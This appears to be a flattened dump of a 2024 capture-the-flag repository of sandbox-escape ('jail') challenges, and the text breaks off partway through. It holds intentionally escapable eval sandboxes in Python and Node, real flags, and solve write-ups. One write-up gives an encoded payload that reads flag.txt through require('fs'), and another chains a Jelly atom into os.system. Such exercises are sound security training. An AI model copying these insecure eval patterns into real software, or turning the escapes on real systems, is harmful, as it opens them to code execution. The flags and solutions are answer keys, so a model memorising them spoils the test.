https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/impossible-maze/solve/images/proc_list.png -------------------------------------------------------------------------------- /jailguessr/README.md: -------------------------------------------------------------------------------- 1 | # jailguessr 2 | 3 | category: osint 4 | 5 | ## description 6 | 7 | I was on the road the other day when I felt the strong urge to find a jail. Can you locate the nearest jail from my current location? 8 | 9 | warning: the proof of work may take several minutes 10 | 11 | -------------------------------------------------------------------------------- /jailguessr/handout/image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/jailguessr/handout/image.png -------------------------------------------------------------------------------- /jailguessr/remote/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 main.py /srv/app/run 6 | COPY --chmod=444 flag.txt /srv/app/flag.txt 7 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_CONNS_PER_IP=2 JAIL_TIME=1234 JAIL_POW=100000 8 | -------------------------------------------------------------------------------- /jailguessr/remote/flag.txt: -------------------------------------------------------------------------------- 1 | jail{i_hope_you_enjoyed_your_stay_at_this_jail} 2 | -------------------------------------------------------------------------------- /jailguessr/remote/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | flag = open('flag.txt').read() 3 | 4 | nearest_jail = 'southernqueenslandcorrectionalcentre' 5 | 6 | x = input("What is the nearest jail to the image? Please enter it as it appears on google maps but without any punctuation, spaces, or capitalization (e.g. adxflorence)\n> ").lower() 7 | if x == nearest_jail: 8 | print("Good job! Here is your flag:", flag) 9 | else: 10 | print("Try again.") 11 | -------------------------------------------------------------------------------- /jailguessr/solve/README.md: -------------------------------------------------------------------------------- 1 | # jailguessr 2 | i have no clue, but this is a geoguessr challenge and it's not even asking for coordinates, just the jail, so it should be doable. -------------------------------------------------------------------------------- /jellyjail/README.md: -------------------------------------------------------------------------------- 1 | # jellyjail 2 | 3 | category: pyjail/esolang/jelly/introductory 4 | 5 | ## description 6 | 7 | how can one golf with jelly if it just explodes when you hit it with a large metal golf club? 8 | -------------------------------------------------------------------------------- /jellyjail/handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 jellylanguage/ srv/app/jellylanguage/ 6 | COPY --chmod=755 main.py /srv/app/run 7 | COPY --chmod=444 flag.txt /srv/app/flag.txt 8 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=25 JAIL_CONNS_PER_IP=2 9 | -------------------------------------------------------------------------------- /jellyjail/handout/flag.txt: -------------------------------------------------------------------------------- 1 | jail{flag_will_be_here_on_remote} 2 | -------------------------------------------------------------------------------- /jellyjail/handout/jellylanguage/.gitignore: -------------------------------------------------------------------------------- 1 | build 2 | utils/findhash2 3 | *.pyc 4 | -------------------------------------------------------------------------------- /jellyjail/handout/jellylanguage/LICENSE.txt: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 DennisMitchell 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /jellyjail/handout/jellylanguage/jelly/__init__.py: -------------------------------------------------------------------------------- 1 | from sys import stderr 2 | 3 | from .interpreter import * 4 | 5 | def main(code, args, end): 6 | for index in range(min(7, len(args))): 7 | atoms['³⁴⁵⁶⁷⁸⁹'[index]].call = lambda literal = args[index]: literal 8 | 9 | try: 10 | output(jelly_eval(code, args[:2]), end) 11 | except KeyboardInterrupt: 12 | if stderr.isatty(): 13 | sys.stderr.write('\n') 14 | return 130 15 | -------------------------------------------------------------------------------- /jellyjail/handout/jellylanguage/jelly/utils.py: -------------------------------------------------------------------------------- 1 | class attrdict(dict): 2 | def __init__(self, *args, **kwargs): 3 | dict.__init__(self, *args, **kwargs) 4 | self.__dict__ = self 5 | 6 | class LazyImport: 7 | def __init__(self, *args): 8 | self.args = args 9 | def __getattr__(self, attr): 10 | self.__dict__ = __import__(*self.args).__dict__ 11 | return self.__dict__[attr] 12 | 13 | def lazy_import(names): 14 | names = names.split() 15 | if len(names) == 1: 16 | return LazyImport(*names) 17 | return map(LazyImport, names) 18 | -------------------------------------------------------------------------------- /jellyjail/handout/jellylanguage/scripts/jelly: -------------------------------------------------------------------------------- 1 | ../jelly/__main__.py -------------------------------------------------------------------------------- /jellyjail/handout/jellylanguage/setup.py: -------------------------------------------------------------------------------- 1 | from distutils.core import setup 2 | 3 | setup( 4 | name = 'jellylanguage', 5 | version = '0.1.31', 6 | packages = [ 7 | 'jelly' 8 | ], 9 | scripts = [ 10 | 'scripts/jelly' 11 | ], 12 | install_requires = [ 13 | 'sympy' 14 | ] 15 | ) 16 | -------------------------------------------------------------------------------- /jellyjail/handout/jellylanguage/utils/Makefile: -------------------------------------------------------------------------------- 1 | CACHE_SIZE ?= 256 2 | NUM_THREADS ?= $(shell nproc) 3 | 4 | CFLAGS += -Wall -Wextra -O2 -pthread 5 | CFLAGS += -DNUM_THREADS=$(NUM_THREADS) -DCACHE_SIZE=$(CACHE_SIZE) 6 | 7 | findhash2: findhash2.c 8 | $(CC) $(CFLAGS) -o findhash2 findhash2.c 9 | -------------------------------------------------------------------------------- /jellyjail/handout/jellylanguage/utils/findhash: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | cd "$(dirname -- "$(readlink -e -- "$0")")" 4 | 5 | [[ -f findhash2 ]] || make -s 6 | 7 | (($# == 2)) && set "$@" $(seq "$2") 8 | 9 | python3 findhash1.py | ./findhash2 "$@" 10 | -------------------------------------------------------------------------------- /jellyjail/handout/jellylanguage/utils/findhash1.py: -------------------------------------------------------------------------------- 1 | from hashlib import shake_256 2 | from jelly import jellify, jelly_eval 3 | from sys import stdin, stdout 4 | 5 | objects = stdin.read() 6 | 7 | try: 8 | objects = jellify(eval(objects)) 9 | except: 10 | objects = jelly_eval(objects, []) 11 | 12 | for object in objects: 13 | stdout.buffer.write(shake_256(repr(object).encode('utf-8')).digest(512)) 14 | -------------------------------------------------------------------------------- /jellyjail/handout/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | # https://github.com/DennisMitchell/jellylanguage/tree/70c9fd93ab009c05dc396f8cc091f72b212fb188 3 | from jellylanguage.jelly.interpreter import jelly_eval 4 | 5 | inp = input()[:2] 6 | banned = "0123456789ỌŒƓVС" # good thing i blocked all ways of getting to python eval !!! yep 7 | 8 | if not all([c not in inp for c in banned]): 9 | print('stop using banned') 10 | exit() 11 | 12 | jelly_eval(inp, []) 13 | 14 | -------------------------------------------------------------------------------- /jellyjail/remote/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 jellylanguage/ srv/app/jellylanguage/ 6 | COPY --chmod=755 main.py /srv/app/run 7 | COPY --chmod=444 flag.txt /srv/app/flag.txt 8 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=25 JAIL_CONNS_PER_IP=2 9 | -------------------------------------------------------------------------------- /jellyjail/remote/flag.txt: -------------------------------------------------------------------------------- 1 | jail{jelllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllly_c3056822a950d0} 2 | -------------------------------------------------------------------------------- /jellyjail/remote/jellylanguage/.gitignore: -------------------------------------------------------------------------------- 1 | build 2 | utils/findhash2 3 | *.pyc 4 | -------------------------------------------------------------------------------- /jellyjail/remote/jellylanguage/LICENSE.txt: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 DennisMitchell 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /jellyjail/remote/jellylanguage/jelly/__init__.py: -------------------------------------------------------------------------------- 1 | from sys import stderr 2 | 3 | from .interpreter import * 4 | 5 | def main(code, args, end): 6 | for index in range(min(7, len(args))): 7 | atoms['³⁴⁵⁶⁷⁸⁹'[index]].call = lambda literal = args[index]: literal 8 | 9 | try: 10 | output(jelly_eval(code, args[:2]), end) 11 | except KeyboardInterrupt: 12 | if stderr.isatty(): 13 | sys.stderr.write('\n') 14 | return 130 15 | -------------------------------------------------------------------------------- /jellyjail/remote/jellylanguage/jelly/utils.py: -------------------------------------------------------------------------------- 1 | class attrdict(dict): 2 | def __init__(self, *args, **kwargs): 3 | dict.__init__(self, *args, **kwargs) 4 | self.__dict__ = self 5 | 6 | class LazyImport: 7 | def __init__(self, *args): 8 | self.args = args 9 | def __getattr__(self, attr): 10 | self.__dict__ = __import__(*self.args).__dict__ 11 | return self.__dict__[attr] 12 | 13 | def lazy_import(names): 14 | names = names.split() 15 | if len(names) == 1: 16 | return LazyImport(*names) 17 | return map(LazyImport, names) 18 | -------------------------------------------------------------------------------- /jellyjail/remote/jellylanguage/scripts/jelly: -------------------------------------------------------------------------------- 1 | ../jelly/__main__.py -------------------------------------------------------------------------------- /jellyjail/remote/jellylanguage/setup.py: -------------------------------------------------------------------------------- 1 | from distutils.core import setup 2 | 3 | setup( 4 | name = 'jellylanguage', 5 | version = '0.1.31', 6 | packages = [ 7 | 'jelly' 8 | ], 9 | scripts = [ 10 | 'scripts/jelly' 11 | ], 12 | install_requires = [ 13 | 'sympy' 14 | ] 15 | ) 16 | -------------------------------------------------------------------------------- /jellyjail/remote/jellylanguage/utils/Makefile: -------------------------------------------------------------------------------- 1 | CACHE_SIZE ?= 256 2 | NUM_THREADS ?= $(shell nproc) 3 | 4 | CFLAGS += -Wall -Wextra -O2 -pthread 5 | CFLAGS += -DNUM_THREADS=$(NUM_THREADS) -DCACHE_SIZE=$(CACHE_SIZE) 6 | 7 | findhash2: findhash2.c 8 | $(CC) $(CFLAGS) -o findhash2 findhash2.c 9 | -------------------------------------------------------------------------------- /jellyjail/remote/jellylanguage/utils/findhash: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | cd "$(dirname -- "$(readlink -e -- "$0")")" 4 | 5 | [[ -f findhash2 ]] || make -s 6 | 7 | (($# == 2)) && set "$@" $(seq "$2") 8 | 9 | python3 findhash1.py | ./findhash2 "$@" 10 | -------------------------------------------------------------------------------- /jellyjail/remote/jellylanguage/utils/findhash1.py: -------------------------------------------------------------------------------- 1 | from hashlib import shake_256 2 | from jelly import jellify, jelly_eval 3 | from sys import stdin, stdout 4 | 5 | objects = stdin.read() 6 | 7 | try: 8 | objects = jellify(eval(objects)) 9 | except: 10 | objects = jelly_eval(objects, []) 11 | 12 | for object in objects: 13 | stdout.buffer.write(shake_256(repr(object).encode('utf-8')).digest(512)) 14 | -------------------------------------------------------------------------------- /jellyjail/remote/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | # https://github.com/DennisMitchell/jellylanguage/tree/70c9fd93ab009c05dc396f8cc091f72b212fb188 3 | from jellylanguage.jelly.interpreter import jelly_eval 4 | 5 | inp = input()[:2] 6 | banned = "0123456789ỌŒƓVС" 7 | 8 | if not all([c not in inp for c in banned]): 9 | print('stop using banned') 10 | exit() 11 | 12 | jelly_eval(inp, []) 13 | 14 | -------------------------------------------------------------------------------- /jellyjail/solve/README.md: -------------------------------------------------------------------------------- 1 | # jellyjail 2 | 3 | a bunch of chars (`0123456789ỌŒƓVС`) are all banned 4 | 5 | 0-9 provide integer literals 6 | 7 | that weird O with the dot beneath it is the `chr` function 8 | 9 | that OE char allows for a bunch of things, but notably the easy way to `python_eval` a string is banned 10 | 11 | the G with the thing on the top right quite literally does `python_eval(input())`, but that is also banned. 12 | 13 | the V character is used to do `jelly_eval` which evals a string as jelly code, and that is banned 14 | 15 | now taking a look at the D with a line through it and also the upside down exclamation mark. the upside down exclamation mark does ntimes. looking at the source 16 | code for ntimes, we can see instances of `last_input`, and looking at `last_input`, it calls `python_eval(input())` 17 | 18 | we can search for what other functions call `last_input`, and there is a function nfind that does it. nfind is used by the `#` character in this, 19 | so we can just use `#` to get eval of any input 20 | 21 | however, there is an error that min arg is an empty sequence. we can just put any value that evaluates to something that is 22 | not None before, like `⁸`, which pushed `[]` onto the stack (dont ask me how this is not also an empty sequence, because idk what is going on here either). 23 | 24 | anyways, then we can just import os , os.system, and then get the flag 25 | 26 | -------------------------------------------------------------------------------- /js-without-getattr/README.md: -------------------------------------------------------------------------------- 1 | # js without getattr 2 | 3 | category: mainstream/js/golf 4 | 5 | ## description 6 | 7 | attributes are overrated tbh so lets not 8 | 9 | -------------------------------------------------------------------------------- /js-without-getattr/handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node@sha256:c4856362ed3261b2e9e0d5f3113bd9feace612884f8101ca09da553f856fd0a2 AS app 2 | WORKDIR /app 3 | RUN /usr/local/bin/npm install esprima 4 | 5 | FROM pwn.red/jail 6 | COPY --from=app / /srv 7 | COPY --chmod=755 main.js /srv/app/run 8 | COPY --chmod=444 flag.txt /srv/app/flag.txt 9 | ENV JAIL_MEM=40M JAIL_PIDS=10 JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2 10 | 11 | -------------------------------------------------------------------------------- /js-without-getattr/handout/flag.txt: -------------------------------------------------------------------------------- 1 | jail{flag_will_be_here_on_remote} 2 | -------------------------------------------------------------------------------- /js-without-getattr/handout/main.js: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/node 2 | const readline = require('node:readline'); 3 | const rl = readline.createInterface({input: process.stdin, output: process.stdout}); 4 | const {parseScript} = require('esprima'); 5 | 6 | rl.question('can you js without getattr? > ', (inp) => { 7 | // length filter 8 | if (inp.length > 480) { 9 | console.log('fails length filter'); 10 | rl.close(); 11 | return; 12 | } 13 | 14 | // char filter 15 | const banned = new Set("<.;,;.>:`[\x09\x0a\x0b\x0c\x0d]`upxq\"\\\x20"); // partially stolen from caasio ce from angstromctf 2024 16 | for (const char of inp) { 17 | const c = char.charCodeAt(0); 18 | if (c < 0x20 || c > 0x7e || banned.has(char)) { 19 | console.log("fails char filter (" + char + ')'); 20 | rl.close() 21 | return; 22 | } 23 | } 24 | 25 | // tree filter 26 | let parsed = parseScript(inp); 27 | let visit = ((n) => { 28 | if (typeof n === 'string') { 29 | if (['VariableDeclaration', 'SpreadElement', 30 | 'NewExpression', 'CallExpression', 31 | 'Proxy', '__defineGetter__', '__proto__', 32 | 'Property', 'MemberExpression', 'Property', 33 | 'ArrayExpression', 'instanceof'].includes(n)) { 34 | console.log('fails tree filter'); 35 | console.log(n); 36 | throw new Error(); 37 | }; 38 | } 39 | if (n instanceof Object) { 40 | for (let k of Object.getOwnPropertyNames(n)) { 41 | visit(n[k]); 42 | } 43 | } 44 | }); 45 | try { 46 | visit(parsed); 47 | } catch { 48 | rl.close(); 49 | return; 50 | } 51 | 52 | // safety 53 | delete parsed; 54 | delete parseScript; 55 | delete debug; 56 | delete banned; 57 | delete visit; 58 | delete readline; 59 | delete fetch; 60 | delete Symbol; 61 | 62 | // send it 63 | let res = eval(inp); 64 | console.log(res) 65 | 66 | rl.close(); 67 | }); 68 | -------------------------------------------------------------------------------- /js-without-getattr/handout/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "dependencies": { 3 | "esprima": "^4.0.1" 4 | } 5 | } 6 | -------------------------------------------------------------------------------- /js-without-getattr/remote/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node@sha256:c4856362ed3261b2e9e0d5f3113bd9feace612884f8101ca09da553f856fd0a2 AS app 2 | WORKDIR /app 3 | RUN /usr/local/bin/npm install esprima 4 | 5 | FROM pwn.red/jail 6 | COPY --from=app / /srv 7 | COPY --chmod=755 main.js /srv/app/run 8 | COPY --chmod=444 flag.txt /srv/app/flag.txt 9 | ENV JAIL_MEM=40M JAIL_PIDS=10 JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2 10 | 11 | -------------------------------------------------------------------------------- /js-without-getattr/remote/flag.txt: -------------------------------------------------------------------------------- 1 | jail{would_you_like_with_with_your_order?_155f4dd16713771} 2 | -------------------------------------------------------------------------------- /js-without-getattr/remote/main.js: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/node 2 | const readline = require('node:readline'); 3 | const rl = readline.createInterface({input: process.stdin, output: process.stdout}); 4 | const {parseScript} = require('esprima'); 5 | 6 | rl.question('can you js without getattr? > ', (inp) => { 7 | // length filter 8 | if (inp.length > 480) { 9 | console.log('fails length filter'); 10 | rl.close(); 11 | return; 12 | } 13 | 14 | // char filter 15 | const banned = new Set("<.;,;.>:`[\x09\x0a\x0b\x0c\x0d]`upxq\"\\\x20"); // partially stolen from caasio ce from angstromctf 2024 16 | for (const char of inp) { 17 | const c = char.charCodeAt(0); 18 | if (c < 0x20 || c > 0x7e || banned.has(char)) { 19 | console.log("fails char filter (" + char + ')'); 20 | rl.close() 21 | return; 22 | } 23 | } 24 | 25 | // tree filter 26 | let parsed = parseScript(inp); 27 | let visit = ((n) => { 28 | if (typeof n === 'string') { 29 | if (['VariableDeclaration', 'SpreadElement', 30 | 'NewExpression', 'CallExpression', 31 | 'Proxy', '__defineGetter__', '__proto__', 32 | 'Property', 'MemberExpression', 'Property', 33 | 'ArrayExpression', 'instanceof'].includes(n)) { 34 | console.log('fails tree filter'); 35 | console.log(n); 36 | throw new Error(); 37 | }; 38 | } 39 | if (n instanceof Object) { 40 | for (let k of Object.getOwnPropertyNames(n)) { 41 | visit(n[k]); 42 | } 43 | } 44 | }); 45 | try { 46 | visit(parsed); 47 | } catch { 48 | rl.close(); 49 | return; 50 | } 51 | 52 | // safety 53 | delete parsed; 54 | delete parseScript; 55 | delete debug; 56 | delete banned; 57 | delete visit; 58 | delete readline; 59 | delete fetch; 60 | delete Symbol; 61 | 62 | // send it 63 | let res = eval(inp); 64 | console.log(res) 65 | 66 | rl.close(); 67 | }); 68 | -------------------------------------------------------------------------------- /js-without-getattr/remote/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "dependencies": { 3 | "esprima": "^4.0.1" 4 | } 5 | } 6 | -------------------------------------------------------------------------------- /js-without-getattr/solve/README.md: -------------------------------------------------------------------------------- 1 | # js without getattr 2 | 3 | there are a few required noticings here 4 | 5 | first, we can still define variables if we dont use `let`, `var`, or `const`. 6 | 7 | second, the `with` statement exists (see [here](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/with)) 8 | 9 | third, process.mainModule.require is the global require function even though it is not listed on process.mainModule as an attribute 10 | 11 | with `with`, we have arb attribute read and write pretty much 12 | 13 | we can overwrite console.log with eval, and then return a string which is eval'd. 14 | 15 | notably, we dont need to use semicolons after a with statement so the following is valid i think 16 | 17 | ``` 18 | with(console){log=eval}'malicious code here' 19 | ``` 20 | 21 | next, we need to make arb strings to win 22 | 23 | we can avoid the tree filter, but the char filter is still there 24 | 25 | to win, we can use String.fromCharCode in another with statement and set a variable with a one letter name to it 26 | 27 | lastly, we can use `throw` and `fs` module to get the flag in a very short payload 28 | 29 | the payload is below 30 | 31 | ``` 32 | with(console){log=eval}'with(String){z=fromCharCode}eval(z(116)+z(104)+z(114)+z(111)+z(119)+z(32)+z(112)+z(114)+z(111)+z(99)+z(101)+z(115)+z(115)+z(46)+z(109)+z(97)+z(105)+z(110)+z(77)+z(111)+z(100)+z(117)+z(108)+z(101)+z(46)+z(114)+z(101)+z(113)+z(117)+z(105)+z(114)+z(101)+z(40)+z(39)+z(102)+z(115)+z(39)+z(41)+z(46)+z(114)+z(101)+z(97)+z(100)+z(70)+z(105)+z(108)+z(101)+z(83)+z(121)+z(110)+z(99)+z(40)+z(39)+z(102)+z(108)+z(97)+z(103)+z(46)+z(116)+z(120)+z(116)+z(39)+z(41))' 33 | ``` 34 | 35 | you can also compress with substitution like `g=z(101)` within the brackets of `if(1){}` 36 | -------------------------------------------------------------------------------- /last-message/.gitignore: -------------------------------------------------------------------------------- 1 | **/__pycache__ 2 | **/venv 3 | **/env 4 | **/.venv 5 | **/.env 6 | 7 | **/images/* 8 | **/!images/default.png -------------------------------------------------------------------------------- /last-message/README.md: -------------------------------------------------------------------------------- 1 | # last message 2 | 3 | category: pyjail/pickle/web 4 | 5 | ## description 6 | 7 | Check out this completely anonymous chat app I built - feel free to send me a message as well! 8 | 9 | [challs1.pyjail.club:7703](https://challs1.pyjail.club:7703) 10 | 11 | `nc challs1.pyjail.club 12345` 12 | 13 | -------------------------------------------------------------------------------- /last-message/handout/app/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9-slim 2 | 3 | WORKDIR /app 4 | 5 | COPY requirements.txt . 6 | RUN pip install --no-cache-dir -r requirements.txt 7 | 8 | COPY . . 9 | 10 | EXPOSE 8080 11 | 12 | ENV FLASK_APP=app.py 13 | CMD ["flask", "run", "--host=0.0.0.0", "--port=8080", "--cert=adhoc"] 14 | -------------------------------------------------------------------------------- /last-message/handout/app/account.py: -------------------------------------------------------------------------------- 1 | from random import SystemRandom 2 | import string 3 | 4 | random = SystemRandom() 5 | 6 | def generate_username(chars=8, digits=4): 7 | characters = string.ascii_letters + string.digits 8 | username = ''.join(random.choice(characters) for _ in range(chars)) 9 | username += ''.join(random.choice(string.digits) for _ in range(digits)) 10 | return username 11 | 12 | def generate_password(chars=16): 13 | characters = string.ascii_letters + string.digits 14 | return ''.join(random.choice(characters) for _ in range(chars)) -------------------------------------------------------------------------------- /last-message/handout/app/requirements.txt: -------------------------------------------------------------------------------- 1 | bidict==0.23.1 2 | blinker==1.8.2 3 | click==8.1.7 4 | Flask==3.0.3 5 | Flask-SocketIO==5.3.6 6 | h11==0.14.0 7 | itsdangerous==2.2.0 8 | Jinja2==3.1.4 9 | MarkupSafe==2.1.5 10 | python-engineio==4.9.1 11 | python-socketio==5.11.3 12 | simple-websocket==1.0.0 13 | Werkzeug==3.0.3 14 | wsproto==1.2.0 15 | cryptography -------------------------------------------------------------------------------- /last-message/handout/app/static/default.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/last-message/handout/app/static/default.jpg -------------------------------------------------------------------------------- /last-message/handout/app/static/index.css: -------------------------------------------------------------------------------- 1 | :root { 2 | --background: 210 100% 6%; 3 | --foreground: 180 100% 90%; 4 | --primary: 200 100% 28%; 5 | --primary-foreground: 180 100% 90%; 6 | --secondary: 203 23% 30%; 7 | --secondary-foreground: 180 100% 90%; 8 | --accent: 198 70% 50%; 9 | --accent-foreground: 185 10% 13%; 10 | --destructive: 0 98% 44%; 11 | --destructive-foreground: 0 0% 100%; 12 | --muted: 200 50% 30%; 13 | --muted-foreground: 180 100% 90%; 14 | --card: 210 100% 12%; 15 | --card-foreground: 180 100% 90%; 16 | --popover: 210 100% 15%; 17 | --popover-foreground: 180 100% 90%; 18 | --border: 210 50% 40%; 19 | --input: 210 50% 40%; 20 | --ring: 180 100% 90%; 21 | --radius: 0rem; 22 | } 23 | 24 | 25 | /* Minimal Scrollbar Style */ 26 | ::-webkit-scrollbar { 27 | width: 8px; 28 | } 29 | 30 | ::-webkit-scrollbar-track { 31 | background-color: var(--background); 32 | } 33 | 34 | ::-webkit-scrollbar-thumb { 35 | background-color: var(--muted); 36 | border-radius: var(--radius); 37 | } 38 | 39 | ::-webkit-scrollbar-thumb:hover { 40 | background-color: var(--muted-foreground); 41 | } -------------------------------------------------------------------------------- /last-message/handout/app/static/pyscript.json: -------------------------------------------------------------------------------- 1 | { 2 | "packages": [] 3 | } -------------------------------------------------------------------------------- /last-message/handout/bot/bot.js: -------------------------------------------------------------------------------- 1 | const { chromium } = require('playwright-chromium'); 2 | const readline = require('readline'); 3 | 4 | const FLAG = process.env.FLAG; 5 | const URL = "http://app:8080"; 6 | 7 | (async function () { 8 | const browser = await chromium.launch({ 9 | args: ['--ignore-certificate-errors'], 10 | ignoreHTTPSErrors: true 11 | }); 12 | 13 | const rl = readline.createInterface({ 14 | input: process.stdin, 15 | output: process.stdout 16 | }); 17 | 18 | async function start() { 19 | console.log(`Visiting ${URL}`); 20 | 21 | const context = await browser.newContext({ ignoreHTTPSErrors: true }); 22 | await context.addCookies([{ 23 | name: 'FLAG', 24 | value: FLAG, 25 | domain: 'app', 26 | path: '/' 27 | }]); 28 | 29 | const page = await context.newPage(); 30 | 31 | await page.goto(URL, { waitUntil: 'networkidle' }); 32 | 33 | console.log(`Waiting for page to load, this may take a few seconds...`); 34 | await page.waitForSelector('#username'); 35 | const username = await page.$eval('#username', element => element.innerHTML); 36 | console.log(`Username: ${username}`); 37 | 38 | setTimeout(() => { 39 | try { 40 | page.close(); 41 | console.log('Timeout reached. Closing the page.'); 42 | process.exit(0); 43 | } catch (err) { 44 | console.error(`Error: ${err}`); 45 | } 46 | }, 30000); 47 | } 48 | 49 | console.log('The admin will visit the page and send you their username. Press Enter to continue.'); 50 | 51 | rl.question('', async () => { 52 | try { 53 | await start(); 54 | } catch (err) { 55 | console.error(`Error: ${err}`); 56 | } finally { 57 | rl.close(); 58 | } 59 | }); 60 | })(); -------------------------------------------------------------------------------- /last-message/handout/bot/flag.txt: -------------------------------------------------------------------------------- 1 | jail{flag_will_be_here_on_remote} 2 | -------------------------------------------------------------------------------- /last-message/handout/bot/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | socat TCP-LISTEN:4444,reuseaddr,fork EXEC:"node bot.js" -------------------------------------------------------------------------------- /last-message/handout/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | 3 | services: 4 | app: 5 | build: 6 | context: ./app 7 | dockerfile: Dockerfile 8 | ports: 9 | - "8080:8080" 10 | networks: 11 | - last-message-network 12 | 13 | bot: 14 | build: 15 | context: ./bot 16 | dockerfile: Dockerfile 17 | ports: 18 | - "4444:4444" 19 | networks: 20 | - last-message-network 21 | environment: 22 | FLAG: jail{the_flag_will_be_here_on_remote} 23 | depends_on: 24 | - app 25 | 26 | networks: 27 | last-message-network: 28 | driver: bridge 29 | 30 | -------------------------------------------------------------------------------- /last-message/remote/app/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9-slim 2 | 3 | WORKDIR /app 4 | 5 | COPY requirements.txt . 6 | RUN pip install --no-cache-dir -r requirements.txt 7 | 8 | COPY . . 9 | 10 | EXPOSE 8080 11 | 12 | ENV FLASK_APP=app.py 13 | CMD ["flask", "run", "--host=0.0.0.0", "--port=8080", "--cert=adhoc"] 14 | -------------------------------------------------------------------------------- /last-message/remote/app/account.py: -------------------------------------------------------------------------------- 1 | from random import SystemRandom 2 | import string 3 | 4 | random = SystemRandom() 5 | 6 | def generate_username(chars=8, digits=4): 7 | characters = string.ascii_letters + string.digits 8 | username = ''.join(random.choice(characters) for _ in range(chars)) 9 | username += ''.join(random.choice(string.digits) for _ in range(digits)) 10 | return username 11 | 12 | def generate_password(chars=16): 13 | characters = string.ascii_letters + string.digits 14 | return ''.join(random.choice(characters) for _ in range(chars)) -------------------------------------------------------------------------------- /last-message/remote/app/requirements.txt: -------------------------------------------------------------------------------- 1 | bidict==0.23.1 2 | blinker==1.8.2 3 | click==8.1.7 4 | Flask==3.0.3 5 | Flask-SocketIO==5.3.6 6 | h11==0.14.0 7 | itsdangerous==2.2.0 8 | Jinja2==3.1.4 9 | MarkupSafe==2.1.5 10 | python-engineio==4.9.1 11 | python-socketio==5.11.3 12 | 